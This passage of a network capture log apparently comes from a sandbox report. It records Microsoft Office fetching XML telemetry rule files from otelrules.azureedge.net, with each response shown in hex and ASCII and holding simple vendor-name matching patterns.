2024-10-30 05:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:05 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051705Z-17c5cb586f69w69mgazyf263an00000006q000000000ee5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:05 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:05 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:05 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: efea810d-301e-001f-2497-28aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051705Z-r197bdfb6b48v72xb403uy6hns000000089g000000004vkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:05 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:05 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:05 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: b14e1d55-401e-0078-709c-274d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051705Z-17c5cb586f6sqz6f73fsew1zd8000000017g00000000c22t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:05 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:05 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:05 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051705Z-16849878b78qwx7pmw9x5fub1c00000005r0000000009r1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:05 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:05 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:05 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 395ac5b3-901e-0083-7e6a-27bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051705Z-r197bdfb6b4bs5qf58wn14wgm000000006n000000000ac7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:05 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:06 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051706Z-16849878b78sx229w7g7at4nkg00000005r000000000n5u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:06 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051706Z-16849878b78hh85qc40uyr8sc800000007wg000000007dfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:06 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d0d63b60-601e-0050-7d63-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051706Z-17c5cb586f6lxnvg801rcb3n8n00000007kg000000006ba9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:06 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051706Z-16849878b78zqkvcwgr6h55x9n000000073g000000001xcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:06 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 86dc56c9-201e-00aa-5987-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051706Z-15b8d89586f42m673h1quuee4s0000000bng000000008qcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:07 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3efaf52f-501e-008c-0d35-29cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051707Z-15b8d89586fdmfsg1u7xrpfws00000000bug000000006ry3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:07 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9a8e6971-501e-0078-586f-2806cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051707Z-15b8d89586f989rkwt13xern5400000002vg000000007x3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
